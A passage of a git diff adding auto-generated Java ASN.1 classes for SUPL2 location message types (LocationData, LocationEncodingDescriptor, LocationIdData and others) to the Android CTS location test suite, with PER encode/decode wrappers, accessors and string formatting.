+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refWeekNumberType != null) {
+ return ImmutableList.of(TAG_refWeekNumberType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refWeekNumberType from encoded stream.
+ */
+ public static refWeekNumberType fromPerUnaligned(byte[] encodedBytes) {
+ refWeekNumberType result = new refWeekNumberType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refWeekNumberType from encoded stream.
+ */
+ public static refWeekNumberType fromPerAligned(byte[] encodedBytes) {
+ refWeekNumberType result = new refWeekNumberType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refWeekNumberType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refSecondsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refSecondsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refSecondsType() {
+ super();
+ setValueRange("0", "4194303");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refSecondsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refSecondsType != null) {
+ return ImmutableList.of(TAG_refSecondsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refSecondsType from encoded stream.
+ */
+ public static refSecondsType fromPerUnaligned(byte[] encodedBytes) {
+ refSecondsType result = new refSecondsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refSecondsType from encoded stream.
+ */
+ public static refSecondsType fromPerAligned(byte[] encodedBytes) {
+ refSecondsType result = new refSecondsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refSecondsType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("HrpdCellInformation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationData.java
new file mode 100755
index 0000000..e9b8657
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationData.java
@@ -0,0 +1,445 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class LocationData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_LocationData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public LocationData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_LocationData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_LocationData != null) {
+ return ImmutableList.of(TAG_LocationData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new LocationData from encoded stream.
+ */
+ public static LocationData fromPerUnaligned(byte[] encodedBytes) {
+ LocationData result = new LocationData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new LocationData from encoded stream.
+ */
+ public static LocationData fromPerAligned(byte[] encodedBytes) {
+ LocationData result = new LocationData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private LocationData.locationAccuracyType locationAccuracy_;
+ public LocationData.locationAccuracyType getLocationAccuracy() {
+ return locationAccuracy_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LocationData.locationAccuracyType
+ */
+ public void setLocationAccuracy(Asn1Object value) {
+ this.locationAccuracy_ = (LocationData.locationAccuracyType) value;
+ }
+ public LocationData.locationAccuracyType setLocationAccuracyToNewInstance() {
+ locationAccuracy_ = new LocationData.locationAccuracyType();
+ return locationAccuracy_;
+ }
+
+ private LocationData.locationValueType locationValue_;
+ public LocationData.locationValueType getLocationValue() {
+ return locationValue_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LocationData.locationValueType
+ */
+ public void setLocationValue(Asn1Object value) {
+ this.locationValue_ = (LocationData.locationValueType) value;
+ }
+ public LocationData.locationValueType setLocationValueToNewInstance() {
+ locationValue_ = new LocationData.locationValueType();
+ return locationValue_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getLocationAccuracy() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLocationAccuracy();
+ }
+
+ @Override public void setToNewInstance() {
+ setLocationAccuracyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LocationData.locationAccuracyType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "locationAccuracy : "
+ + getLocationAccuracy().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getLocationValue() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLocationValue();
+ }
+
+ @Override public void setToNewInstance() {
+ setLocationValueToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LocationData.locationValueType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "locationValue : "
+ + getLocationValue().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class locationAccuracyType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_locationAccuracyType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public locationAccuracyType() {
+ super();
+ setValueRange("0", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_locationAccuracyType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_locationAccuracyType != null) {
+ return ImmutableList.of(TAG_locationAccuracyType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new locationAccuracyType from encoded stream.
+ */
+ public static locationAccuracyType fromPerUnaligned(byte[] encodedBytes) {
+ locationAccuracyType result = new locationAccuracyType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new locationAccuracyType from encoded stream.
+ */
+ public static locationAccuracyType fromPerAligned(byte[] encodedBytes) {
+ locationAccuracyType result = new locationAccuracyType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "locationAccuracyType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class locationValueType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_locationValueType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public locationValueType() {
+ super();
+ setMinSize(1);
+setMaxSize(128);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_locationValueType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_locationValueType != null) {
+ return ImmutableList.of(TAG_locationValueType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new locationValueType from encoded stream.
+ */
+ public static locationValueType fromPerUnaligned(byte[] encodedBytes) {
+ locationValueType result = new locationValueType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new locationValueType from encoded stream.
+ */
+ public static locationValueType fromPerAligned(byte[] encodedBytes) {
+ locationValueType result = new locationValueType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "locationValueType";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("LocationData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationEncodingDescriptor.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationEncodingDescriptor.java
new file mode 100755
index 0000000..f367520
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationEncodingDescriptor.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class LocationEncodingDescriptor extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ lCI(0),
+ aSN1(1),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_LocationEncodingDescriptor
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public LocationEncodingDescriptor() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_LocationEncodingDescriptor;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_LocationEncodingDescriptor != null) {
+ return ImmutableList.of(TAG_LocationEncodingDescriptor);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new LocationEncodingDescriptor from encoded stream.
+ */
+ public static LocationEncodingDescriptor fromPerUnaligned(byte[] encodedBytes) {
+ LocationEncodingDescriptor result = new LocationEncodingDescriptor();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new LocationEncodingDescriptor from encoded stream.
+ */
+ public static LocationEncodingDescriptor fromPerAligned(byte[] encodedBytes) {
+ LocationEncodingDescriptor result = new LocationEncodingDescriptor();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "LocationEncodingDescriptor = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationIdData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationIdData.java
new file mode 100755
index 0000000..433b0cb
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationIdData.java
@@ -0,0 +1,425 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.LocationId;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class LocationIdData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_LocationIdData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public LocationIdData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_LocationIdData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_LocationIdData != null) {
+ return ImmutableList.of(TAG_LocationIdData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new LocationIdData from encoded stream.
+ */
+ public static LocationIdData fromPerUnaligned(byte[] encodedBytes) {
+ LocationIdData result = new LocationIdData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new LocationIdData from encoded stream.
+ */
+ public static LocationIdData fromPerAligned(byte[] encodedBytes) {
+ LocationIdData result = new LocationIdData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private LocationId locationId_;
+ public LocationId getLocationId() {
+ return locationId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LocationId
+ */
+ public void setLocationId(Asn1Object value) {
+ this.locationId_ = (LocationId) value;
+ }
+ public LocationId setLocationIdToNewInstance() {
+ locationId_ = new LocationId();
+ return locationId_;
+ }
+
+ private RelativeTime relativetimestamp_;
+ public RelativeTime getRelativetimestamp() {
+ return relativetimestamp_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RelativeTime
+ */
+ public void setRelativetimestamp(Asn1Object value) {
+ this.relativetimestamp_ = (RelativeTime) value;
+ }
+ public RelativeTime setRelativetimestampToNewInstance() {
+ relativetimestamp_ = new RelativeTime();
+ return relativetimestamp_;
+ }
+
+ private LocationIdData.servingFlagType servingFlag_;
+ public LocationIdData.servingFlagType getServingFlag() {
+ return servingFlag_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LocationIdData.servingFlagType
+ */
+ public void setServingFlag(Asn1Object value) {
+ this.servingFlag_ = (LocationIdData.servingFlagType) value;
+ }
+ public LocationIdData.servingFlagType setServingFlagToNewInstance() {
+ servingFlag_ = new LocationIdData.servingFlagType();
+ return servingFlag_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getLocationId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLocationId();
+ }
+
+ @Override public void setToNewInstance() {
+ setLocationIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LocationId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "locationId : "
+ + getLocationId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRelativetimestamp() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRelativetimestamp();
+ }
+
+ @Override public void setToNewInstance() {
+ setRelativetimestampToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RelativeTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "relativetimestamp : "
+ + getRelativetimestamp().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getServingFlag() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getServingFlag();
+ }
+
+ @Override public void setToNewInstance() {
+ setServingFlagToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LocationIdData.servingFlagType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "servingFlag : "
+ + getServingFlag().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class servingFlagType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_servingFlagType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public servingFlagType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_servingFlagType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_servingFlagType != null) {
+ return ImmutableList.of(TAG_servingFlagType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new servingFlagType from encoded stream.
+ */
+ public static servingFlagType fromPerUnaligned(byte[] encodedBytes) {
+ servingFlagType result = new servingFlagType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new servingFlagType from encoded stream.
+ */
+ public static servingFlagType fromPerAligned(byte[] encodedBytes) {
+ servingFlagType result = new servingFlagType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "servingFlagType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("LocationIdData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LteCellInformation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LteCellInformation.java
new file mode 100755
index 0000000..a579640
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LteCellInformation.java
@@ -0,0 +1,666 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
